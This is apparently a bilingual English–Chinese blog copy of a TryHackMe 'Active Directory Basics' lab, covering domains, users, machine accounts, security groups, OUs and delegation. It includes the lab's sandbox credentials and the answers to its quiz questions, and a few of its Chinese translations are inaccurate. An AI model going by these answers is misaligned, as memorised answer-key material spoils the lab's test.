&lt;p&gt;Picture yourself administering a small business network with only five computers and five employees. In such a tiny network, you will probably be able to configure each computer separately without a problem. You will manually log into each computer, create users for whoever will use them, and make specific configurations for each employee&amp;#39;s accounts. If a user&amp;#39;s computer stops working, you will probably go to their place and fix the computer on-site.&lt;br&gt;想象一下，您正在管理一个只有五台计算机和五名员工的小型企业网络。在这样一个很小的网络中，您可能能够毫无问题地单独配置每台计算机。您将手动登录到每台计算机，为使用它们的人创建用户，并为每个员工的帐户进行特定配置。如果用户的计算机停止工作，您可能会去他们的地方并现场修复计算机。&lt;/p&gt;
&lt;p&gt;While this sounds like a very relaxed lifestyle, let&amp;#39;s suppose your business suddenly grows and now has 157 computers and 320 different users located across four different offices. Would you still be able to manage each computer as a separate entity, manually configure policies for each of the users across the network and provide on-site support for everyone? The answer is most likely no.&lt;br&gt;虽然这听起来像是一种非常轻松的生活方式，但假设您的业务突然增长，现在有 157 台计算机和 320 个不同的用户分布在四个不同的办公室。您是否仍然能够将每台计算机作为单独的实体进行管理，为网络中的每个用户手动配置策略，并为每个人提供现场支持？答案很可能是否定的。&lt;/p&gt;
&lt;p&gt;To overcome these limitations, we can use a Windows domain. Simply put, a &lt;strong&gt;Windows domain&lt;/strong&gt; is a group of users and computers under the administration of a given business. The main idea behind a domain is to centralise the administration of common components of a Windows computer network in a single repository called &lt;strong&gt;Active Directory (&lt;strong&gt;&lt;strong&gt;&lt;u&gt;AD&lt;/u&gt;&lt;/strong&gt;&lt;/strong&gt;)&lt;/strong&gt;. The server that runs the Active Directory services is known as a &lt;strong&gt;Domain Controller (&lt;strong&gt;&lt;strong&gt;&lt;u&gt;DC&lt;/u&gt;&lt;/strong&gt;&lt;/strong&gt;)&lt;/strong&gt;.&lt;br&gt;为了克服这些限制，我们可以使用 Windows 域。简单地说，Windows 域是给定业务管理下的一组用户和计算机。域背后的主要思想是将 Windows 计算机网络的通用组件的管理集中在一个名为 Active Directory （AD） 的存储库中。运行 Active Directory 服务的服务器称为域控制器 （DC）。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Active%20Directory%20Basics-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The main advantages of having a configured Windows domain are:&lt;br&gt;配置 Windows 域的主要优点是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Centralised identity management:&lt;/strong&gt; All users across the network can be configured from Active Directory with minimum effort.&lt;br&gt;集中式身份管理：网络上的所有用户都可以从 Active Directory 进行配置，工作量最小。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Managing security policies:&lt;/strong&gt; You can configure security policies directly from Active Directory and apply them to users and computers across the network as needed.&lt;br&gt;管理安全策略：您可以直接从 Active Directory 配置安全策略，并根据需要将其应用于网络上的用户和计算机。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A Real-World Example 一个真实世界的例子&lt;/p&gt;
&lt;p&gt;If this sounds a bit confusing, chances are that you have already interacted with a Windows domain at some point in your school, university or work.&lt;br&gt;如果这听起来有点令人困惑，那么您可能已经在学校、大学或工作中的某个时刻与 Windows 域进行了交互。&lt;/p&gt;
&lt;p&gt;In school/university networks, you will often be provided with a username and password that you can use on any of the computers available on campus. Your credentials are valid for all machines because whenever you input them on a machine, it will forward the authentication process back to the Active Directory, where your credentials will be checked. Thanks to Active Directory, your credentials don&amp;#39;t need to exist in each machine and are available throughout the network.&lt;br&gt;在学校/大学网络中，通常会为您提供一个用户名和密码，您可以在校园内的任何计算机上使用。您的凭据对所有计算机都有效，因为每当您在计算机上输入凭据时，它都会将身份验证过程转发回 Active Directory，并在其中检查您的凭据。借助 Active Directory，您的凭据不需要存在于每台计算机中，并且在整个网络中都可用。&lt;/p&gt;
&lt;p&gt;Active Directory is also the component that allows your school/university to restrict you from accessing the control panel on your school/university machines. Policies will usually be deployed throughout the network so that you don&amp;#39;t have administrative privileges over those computers.&lt;br&gt;Active Directory 也是允许您的学校/大学限制您访问学校/大学计算机上的控制面板的组件。策略通常会部署在整个网络中，因此您对这些计算机没有管理权限。&lt;/p&gt;
&lt;p&gt;Welcome to &lt;u&gt;THM&lt;/u&gt; Inc. 欢迎来到THM Inc.&lt;/p&gt;
&lt;p&gt;During this task, we&amp;#39;ll assume the role of the new IT admin at THM Inc. As our first task, we have been asked to review the current domain &amp;quot;THM.local&amp;quot; and do some additional configurations. You will have administrative credentials over a pre-configured Domain Controller (&lt;u&gt;DC&lt;/u&gt;) to do the tasks.&lt;br&gt;在此任务中，我们将担任 THM Inc. 的新 IT 管理员角色。作为我们的第一个任务，我们被要求审查当前域“THM.local”并进行一些额外的配置。您将拥有通过预配置的域控制器 （DC） 执行任务的管理凭据。&lt;/p&gt;
&lt;p&gt;Be sure to click the Start Machine button now, as you&amp;#39;ll use the same machine for all tasks. This should open a machine in your browser. Should you prefer to connect to it via &lt;u&gt;RDP&lt;/u&gt;, you can use the following credentials:&lt;br&gt;请务必立即单击“启动计算机”按钮，因为您将使用同一台计算机执行所有任务。这应该会在浏览器中打开一台计算机。如果希望通过 RDP 连接到它，可以使用以下凭据：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Active%20Directory%20Basics-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;center&quot;&gt;&lt;strong&gt;Username&lt;/strong&gt;** **** **&lt;strong&gt;用户名&lt;/strong&gt;&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;Administrator 管理员&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;Password&lt;/strong&gt;** **** **&lt;strong&gt;密码&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Password321 密码321&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; When connecting via &lt;u&gt;RDP&lt;/u&gt;, use &lt;strong&gt;&lt;u&gt;THM&lt;/u&gt;****\Administrator&lt;/strong&gt; as the username to specify you want to log in using the user &lt;strong&gt;Administrator&lt;/strong&gt; on the &lt;strong&gt;THM&lt;/strong&gt; domain.&lt;br&gt;注意：通过 RDP 连接时，请使用 &lt;strong&gt;&lt;u&gt;THM&lt;/u&gt;****\Administrator&lt;/strong&gt; 用户名来指定要使用 &lt;strong&gt;THM&lt;/strong&gt; 域上的用户 &lt;strong&gt;Administrator&lt;/strong&gt; 登录。&lt;/p&gt;
&lt;p&gt;Since we will be connecting to the target machine via &lt;u&gt;RDP&lt;/u&gt;, this is also a good time to start the AttackBox (unless you are using your own machine).&lt;br&gt;由于我们将通过 RDP 连接到目标计算机，因此这也是启动 AttackBox 的好时机（除非您使用的是自己的计算机）。&lt;/p&gt;
&lt;p&gt;Answer the questions below&lt;br&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;In a Windows domain, credentials are stored in a centralised repository called...&lt;br&gt;在 Windows 域中，凭据存储在名为 Windows 域的集中存储库中。&lt;/p&gt;
&lt;p&gt;Active Directory &lt;/p&gt;
&lt;p&gt;Correct Answer&lt;/p&gt;
&lt;p&gt;The server in charge of running the Active Directory services is called...&lt;br&gt;负责运行 Active Directory 服务的服务器称为...&lt;/p&gt;
&lt;p&gt;Domain Controller&lt;/p&gt;
&lt;p&gt;Correct Answer&lt;/p&gt;
&lt;h1&gt;Active Directory&lt;/h1&gt;
&lt;p&gt;The core of any Windows Domain is the &lt;strong&gt;Active Directory Domain Service (****&lt;u&gt;AD&lt;/u&gt;**&lt;/strong&gt; **&lt;strong&gt;DS)&lt;/strong&gt;. This service acts as a catalogue that holds the information of all of the &amp;quot;objects&amp;quot; that exist on your network. Amongst the many objects supported by AD, we have users, groups, machines, printers, shares and many others. Let&amp;#39;s look at some of them:&lt;br&gt;任何 Windows 域的核心都是 Active Directory 域服务 （AD DS）。此服务充当目录，其中包含网络上存在的所有“对象”的信息。在 AD 支持的众多对象中，我们有用户、组、机器、打印机、共享等。让我们看一下其中的一些：&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Users&lt;/strong&gt;&lt;strong&gt;** **&lt;/strong&gt;&lt;strong&gt;用户&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Users are one of the most common object types in Active Directory. Users are one of the objects known as &lt;strong&gt;security principals&lt;/strong&gt;, meaning that they can be authenticated by the domain and can be assigned privileges over &lt;strong&gt;resources&lt;/strong&gt; like files or printers. You could say that a security principal is an object that can act upon resources in the network.&lt;br&gt;用户是 Active Directory 中最常见的对象类型之一。用户是称为安全主体的对象之一，这意味着它们可以由域进行身份验证，并且可以分配对文件或打印机等资源的权限。可以说，安全主体是可以作用于网络中的资源的对象。&lt;/p&gt;
&lt;p&gt;Users can be used to represent two types of entities:&lt;br&gt;用户可用于表示两种类型的实体：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;People:&lt;/strong&gt; users will generally represent persons in your organisation that need to access the network, like employees.&lt;br&gt;人员：用户通常代表组织中需要访问网络的人员，例如员工。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Services:&lt;/strong&gt; you can also define users to be used by services like IIS or MSSQL. Every single service requires a user to run, but service users are different from regular users as they will only have the privileges needed to run their specific service.&lt;br&gt;服务：您还可以定义要由 IIS 或 MSSQL 等服务使用的用户。每个服务都需要一个用户来运行，但服务用户与普通用户不同，因为他们只具有运行其特定服务所需的权限。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Machines&lt;/strong&gt;&lt;strong&gt;** **&lt;/strong&gt;&lt;strong&gt;机器&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Machines are another type of object within Active Directory; for every computer that joins the Active Directory domain, a machine object will be created. Machines are also considered &amp;quot;security principals&amp;quot; and are assigned an account just as any regular user. This account has somewhat limited rights within the domain itself.&lt;br&gt;计算机是 Active Directory 中的另一种类型的对象;对于加入 Active Directory 域的每台计算机，将创建一个计算机对象。计算机也被视为“安全主体”，并像任何普通用户一样分配一个帐户。此帐户在域本身内的权限有限。&lt;/p&gt;
&lt;p&gt;The machine accounts themselves are local administrators on the assigned computer, they are generally not supposed to be accessed by anyone except the computer itself, but as with any other account, if you have the password, you can use it to log in.&lt;br&gt;计算机帐户本身是指定计算机上的本地管理员，除了计算机本身之外，通常任何人都不应访问它们，但与任何其他帐户一样，如果您有密码，则可以使用它来登录。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Machine Account passwords are automatically rotated out and are generally comprised of 120 random characters.&lt;br&gt;注意：机器帐户密码会自动轮换，通常由 120 个随机字符组成。&lt;/p&gt;
&lt;p&gt;Identifying machine accounts is relatively easy. They follow a specific naming scheme. The machine account name is the computer&amp;#39;s name followed by a dollar sign. For example, a machine named &lt;strong&gt;DC01&lt;/strong&gt; will have a machine account called &lt;strong&gt;DC01$&lt;/strong&gt;.&lt;br&gt;识别计算机帐户相对容易。它们遵循特定的命名方案。计算机帐户名称是计算机的名称，后跟美元符号。例如，名为 &lt;strong&gt;DC01&lt;/strong&gt; 的计算机将具有一个名为 &lt;strong&gt;DC01$&lt;/strong&gt; 的计算机帐户。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Security Groups&lt;/strong&gt;&lt;strong&gt;** **&lt;/strong&gt;&lt;strong&gt;安全组&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;If you are familiar with Windows, you probably know that you can define user groups to assign access rights to files or other resources to entire groups instead of single users. This allows for better manageability as you can add users to an existing group, and they will automatically inherit all of the group&amp;#39;s privileges. Security groups are also considered security principals and, therefore, can have privileges over resources on the network.&lt;br&gt;如果您熟悉 Windows，您可能知道可以定义用户组，以便将文件或其他资源的访问权限分配给整个组，而不是单个用户。这样可以更好地管理，因为您可以将用户添加到现有组，并且他们将自动继承该组的所有权限。安全组也被视为安全主体，因此可以对网络上的资源具有特权。&lt;/p&gt;
&lt;p&gt;Groups can have both users and machines as members. If needed, groups can include other groups as well.&lt;br&gt;组可以同时将用户和计算机作为成员。如果需要，组也可以包括其他组。&lt;/p&gt;
&lt;p&gt;Several groups are created by default in a domain that can be used to grant specific privileges to users. As an example, here are some of the most important groups in a domain:&lt;br&gt;默认情况下，在域中创建多个组，这些组可用于向用户授予特定权限。例如，以下是域中一些最重要的组：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;center&quot;&gt;&lt;strong&gt;Security Group&lt;/strong&gt;** **&lt;strong&gt;安全组&lt;/strong&gt;&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;&lt;strong&gt;Description&lt;/strong&gt;** **&lt;strong&gt;描述&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;Domain Admins 域管理员&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Users of this group have administrative privileges over the entire domain. By default, they can administer any computer on the domain, including the DCs.   此组的用户对整个域具有管理权限。默认情况下，他们可以管理域上的任何计算机，包括 DC。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;Server Operators 服务器操作员&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Users in this group can administer Domain Controllers. They cannot change any administrative group memberships.   此组中的用户可以管理域控制器。他们无法更改任何管理组成员身份。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;Backup Operators 备份操作员&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Users in this group are allowed to access any file, ignoring their permissions. They are used to perform backups of data on computers.   允许此组中的用户访问任何文件，而忽略其权限。它们用于在计算机上执行数据备份。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;Account Operators 账户运营商&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Users in this group can create or modify other accounts in the domain.   此组中的用户可以创建或修改域中的其他帐户。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;Domain Users 域用户&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Includes all existing user accounts in the domain.   包括域中的所有现有用户帐户。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;Domain Computers 域计算机&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Includes all existing computers in the domain.   包括域中的所有现有计算机。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;Domain Controllers 域控制器&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Includes all existing DCs on the domain.   包括域上的所有现有 DC。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;You can obtain the complete list of default security groups from the &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups&quot;&gt;Microsoft documentation&lt;/a&gt;.&lt;br&gt;您可以从 Microsoft 文档中获取默认安全组的完整列表。  &lt;/p&gt;
&lt;p&gt;Active Directory Users and Computers&lt;br&gt;Active Directory 用户和计算机&lt;/p&gt;
&lt;p&gt;To configure users, groups or machines in Active Directory, we need to log in to the Domain Controller and run &amp;quot;Active Directory Users and Computers&amp;quot; from the start menu:&lt;br&gt;要在 Active Directory 中配置用户、组或计算机，我们需要登录到域控制器并从开始菜单运行“Active Directory 用户和计算机”：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Active%20Directory%20Basics-3.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;This will open up a window where you can see the hierarchy of users, computers and groups that exist in the domain. These objects are organised in &lt;strong&gt;Organizational Units (OUs)&lt;/strong&gt; which are container objects that allow you to classify users and machines. OUs are mainly used to define sets of users with similar policing requirements. The people in the Sales department of your organisation are likely to have a different set of policies applied than the people in IT, for example. Keep in mind that a user can only be a part of a single &lt;u&gt;OU&lt;/u&gt; at a time.&lt;br&gt;这将打开一个窗口，您可以在其中查看域中存在的用户、计算机和组的层次结构。这些对象在组织单位 （OU） 中组织，这些单位是允许您对用户和计算机进行分类的容器对象。OU 主要用于定义具有类似监管要求的用户集。例如，组织销售部门的人员可能应用了一组与 IT 人员不同的策略。请记住，用户一次只能是单个 OU 的一部分。&lt;/p&gt;
&lt;p&gt;Checking our machine, we can see that there is already an &lt;u&gt;OU&lt;/u&gt; called &lt;strong&gt;THM&lt;/strong&gt; with four child OUs for the IT, Management, Marketing and Sales departments. It is very typical to see the OUs mimic the business&amp;#39; structure, as it allows for efficiently deploying baseline policies that apply to entire departments. Remember that while this would be the expected model most of the time, you can define OUs arbitrarily. Feel free to right-click the &lt;strong&gt;THM&lt;/strong&gt; &lt;u&gt;OU&lt;/u&gt; and create a new &lt;u&gt;OU&lt;/u&gt; under it called &lt;strong&gt;Students&lt;/strong&gt; just for the fun of it.&lt;br&gt;检查我们的机器，我们可以看到已经有一个 OU 调用 &lt;strong&gt;THM&lt;/strong&gt; ，其中包含 IT、管理、营销和销售部门的四个子 OU。非常典型的是，OU 模仿业务结构，因为它允许有效地部署适用于整个部门的基线策略。请记住，虽然这在大多数情况下都是预期的模型，但您可以任意定义 OU。随意右键单击 &lt;strong&gt;THM&lt;/strong&gt; OU 并在其下创建一个新的 OU，只是为了好玩而调用 &lt;strong&gt;Students&lt;/strong&gt; 。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Active%20Directory%20Basics-4.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;If you open any OUs, you can see the users they contain and perform simple tasks like creating, deleting or modifying them as needed. You can also reset passwords if needed (pretty useful for the helpdesk):&lt;br&gt;如果打开任何 OU，则可以看到它们包含的用户，并根据需要执行简单的任务，例如创建、删除或修改它们。如果需要，您还可以重置密码（对帮助台非常有用）：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Active%20Directory%20Basics-5.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;You probably noticed already that there are other default containers apart from the THM &lt;u&gt;OU&lt;/u&gt;. These containers are created by Windows automatically and contain the following:&lt;br&gt;您可能已经注意到，除了 THM OU 之外，还有其他默认容器。这些容器由 Windows 自动创建，并包含以下内容：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Builtin:&lt;/strong&gt; Contains default groups available to any Windows host.&lt;br&gt;内置：包含可用于任何 Windows 主机的默认组。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Computers:&lt;/strong&gt; Any machine joining the network will be put here by default. You can move them if needed.&lt;br&gt;计算机：默认情况下，任何加入网络的计算机都将放在这里。如果需要，您可以移动它们。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Domain Controllers:&lt;/strong&gt; Default &lt;u&gt;OU&lt;/u&gt; that contains the DCs in your network.&lt;br&gt;域控制器：包含网络中 DC 的默认 OU。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Users:&lt;/strong&gt; Default users and groups that apply to a domain-wide context.&lt;br&gt;用户：适用于域范围上下文的默认用户和组。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Managed Service Accounts:&lt;/strong&gt; Holds accounts used by services in your Windows domain.&lt;br&gt;托管服务帐户：保留 Windows 域中服务使用的帐户。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Security Groups vs OUs 安全组与 OU&lt;/p&gt;
&lt;p&gt;You are probably wondering why we have both groups and OUs. While both are used to classify users and computers, their purposes are entirely different:&lt;br&gt;您可能想知道为什么我们同时拥有组和 OU。虽然两者都用于对用户和计算机进行分类，但它们的用途完全不同：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;OUs&lt;/strong&gt; are handy for &lt;strong&gt;applying policies&lt;/strong&gt; to users and computers, which include specific configurations that pertain to sets of users depending on their particular role in the enterprise. Remember, a user can only be a member of a single OU at a time, as it wouldn&amp;#39;t make sense to try to apply two different sets of policies to a single user.&lt;br&gt;OU 可用于将策略应用于用户和计算机，其中包括与用户集相关的特定配置，具体取决于用户在企业中的特定角色。请记住，用户一次只能是单个 OU 的成员，因为尝试将两组不同的策略应用于单个用户是没有意义的。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Security Groups&lt;/strong&gt;, on the other hand, are used to &lt;strong&gt;grant permissions over resources&lt;/strong&gt;. For example, you will use groups if you want to allow some users to access a shared folder or network printer. A user can be a part of many groups, which is needed to grant access to multiple resources.&lt;br&gt;另一方面，安全组用于授予对资源的权限。例如，如果要允许某些用户访问共享文件夹或网络打印机，则将使用组。用户可以是多个组的一部分，这是授予对多个资源的访问权限所必需的。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Answer the questions below&lt;br&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;Which group normally administrates all computers and resources in a domain?&lt;br&gt;哪个组通常管理域中的所有计算机和资源？&lt;/p&gt;
&lt;p&gt;Domain Admins&lt;/p&gt;
&lt;p&gt;What would be the name of the machine account associated with a machine named TOM-PC?&lt;br&gt;与名为 TOM-PC 的计算机关联的计算机帐户的名称是什么？&lt;/p&gt;
&lt;p&gt;TOM-PC$&lt;/p&gt;
&lt;p&gt;Suppose our company creates a new department for Quality Assurance. What type of containers should we use to group all Quality Assurance users so that policies can be applied consistently to them?&lt;br&gt;假设我们公司创建了一个新的质量保证部门。我们应该使用哪种类型的容器来对所有质量保证用户进行分组，以便可以一致地将策略应用于他们？&lt;/p&gt;
&lt;p&gt;Organizational Units&lt;/p&gt;
&lt;h1&gt;Managing Users in AD&lt;/h1&gt;
&lt;p&gt;Your first task as the new domain administrator is to check the existing &lt;u&gt;AD&lt;/u&gt; OUs and users, as some recent changes have happened to the business. You have been given the following organisational chart and are expected to make changes to the &lt;u&gt;AD&lt;/u&gt; to match it:&lt;br&gt;作为新的域管理员，您的首要任务是检查现有的 AD OU 和用户，因为业务最近发生了一些更改。您已获得以下组织结构图，并应对广告进行更改以匹配它：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Deleting extra OUs and users&lt;br&gt;删除额外的 OU 和用户&lt;/p&gt;
&lt;p&gt;The first thing you should notice is that there is an additional department OU in your current AD configuration that doesn&amp;#39;t appear in the chart. We&amp;#39;ve been told it was closed due to budget cuts and should be removed from the domain. If you try to right-click and delete the &lt;u&gt;OU&lt;/u&gt;, you will get the following error:&lt;br&gt;您应该注意到的第一件事是，您当前的 AD 配置中还有一个未显示在图表中的附加部门 OU。我们被告知，由于预算削减，它已关闭，应该从域名中删除。如果尝试右键单击并删除 OU，则会出现以下错误：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;By default, OUs are protected against accidental deletion. To delete the &lt;u&gt;OU&lt;/u&gt;, we need to enable the &lt;strong&gt;Advanced Features&lt;/strong&gt; in the View menu:&lt;br&gt;默认情况下，OU 受到保护，不会被意外删除。要删除 OU，我们需要在“视图”菜单中启用“高级功能”：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;This will show you some additional containers and enable you to disable the accidental deletion protection. To do so, right-click the &lt;u&gt;OU&lt;/u&gt; and go to Properties. You will find a checkbox in the Object tab to disable the protection:&lt;br&gt;这将显示一些额外的容器，并使您能够禁用意外删除保护。为此，请右键单击 OU 并转到“属性”。您将在“对象”选项卡中找到一个复选框以禁用保护：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Be sure to uncheck the box and try deleting the &lt;u&gt;OU&lt;/u&gt; again. You will be prompted to confirm that you want to delete the &lt;u&gt;OU&lt;/u&gt;, and as a result, any users, groups or OUs under it will also be deleted.&lt;br&gt;请务必取消选中该框，然后再次尝试删除 OU。系统将提示您确认要删除 OU，因此，其下的任何用户、组或 OU 也将被删除。&lt;/p&gt;
&lt;p&gt;After deleting the extra OU, you should notice that for some of the departments, the users in the AD don&amp;#39;t match the ones in our organisational chart. Create and delete users as needed to match them.&lt;br&gt;删除额外的 OU 后，您应该注意到，对于某些部门，AD 中的用户与我们组织结构图中的用户不匹配。根据需要创建和删除用户以匹配用户。&lt;/p&gt;
&lt;p&gt;Delegation 代表团&lt;/p&gt;
&lt;p&gt;One of the nice things you can do in &lt;u&gt;AD&lt;/u&gt; is to give specific users some control over some OUs. This process is known as &lt;strong&gt;delegation&lt;/strong&gt; and allows you to grant users specific privileges to perform advanced tasks on OUs without needing a Domain Administrator to step in.&lt;br&gt;在 AD 中可以做的一件好事是让特定用户对某些 OU 进行一些控制。此过程称为委派，允许您授予用户特定权限以在 OU 上执行高级任务，而无需域管理员介入。&lt;/p&gt;
&lt;p&gt;One of the most common use cases for this is granting &lt;strong&gt;IT support&lt;/strong&gt; the privileges to reset other low-privilege users&amp;#39; passwords. According to our organisational chart, Phillip is in charge of IT support, so we&amp;#39;d probably want to delegate the control of resetting passwords over the Sales, Marketing and Management OUs to him.&lt;br&gt;最常见的用例之一是授予 &lt;strong&gt;IT support&lt;/strong&gt; 重置其他低权限用户密码的权限。根据我们的组织结构图，Phillip 负责 IT 支持，因此我们可能希望将重置销售、营销和管理 OU 的密码控制权委托给他。&lt;/p&gt;
&lt;p&gt;For this example, we will delegate control over the Sales &lt;u&gt;OU&lt;/u&gt; to Phillip. To delegate control over an &lt;u&gt;OU&lt;/u&gt;, you can right-click it and select &lt;strong&gt;Delegate Control&lt;/strong&gt;:&lt;br&gt;在此示例中，我们将对 Sales OU 的控制权委托给 Phillip。若要委派对 OU 的控制权，可以右键单击它并选择“委派控制”：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;This should open a new window where you will first be asked for the users to whom you want to delegate control:&lt;br&gt;这应该会打开一个新窗口，首先会要求你输入要委派控制权的用户：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; To avoid mistyping the user&amp;#39;s name, write &amp;quot;phillip&amp;quot; and click the &lt;strong&gt;Check Names&lt;/strong&gt; button. Windows will autocomplete the user for you.&lt;br&gt;注意：为避免输入错误的用户名，请输入“phillip”，然后单击“检查名称”按钮。Windows 将为你自动完成用户任务。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;Click OK, and on the next step, select the following option:&lt;br&gt;单击“确定”，然后在下一步中选择以下选项：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Click next a couple of times, and now Phillip should be able to reset passwords for any user in the sales department. While you&amp;#39;d probably want to repeat these steps to delegate the password resets of the Marketing and Management departments, we&amp;#39;ll leave it here for this task. You are free to continue to configure the rest of the OUs if you so desire.&lt;br&gt;单击“下一步”几次，现在 Phillip 应该能够为销售部门的任何用户重置密码。虽然你可能希望重复这些步骤来委派营销和管理部门的密码重置，但我们将把它留在这里完成此任务。如果您愿意，您可以自由地继续配置其余的 OU。&lt;/p&gt;
&lt;p&gt;Now let&amp;#39;s use Phillip&amp;#39;s account to try and reset Sophie&amp;#39;s password. Here are Phillip&amp;#39;s credentials for you to log in via &lt;u&gt;RDP&lt;/u&gt;:&lt;br&gt;现在让我们使用 Phillip 的帐户尝试重置 Sophie 的密码。以下是 Phillip 的凭据，供您通过 RDP 登录：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;center&quot;&gt;&lt;strong&gt;Username&lt;/strong&gt;** **** **&lt;strong&gt;用户名&lt;/strong&gt;&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;phillip 菲 利 普&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;Password&lt;/strong&gt;** **** **&lt;strong&gt;密码&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Claire2008 克莱尔2008&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
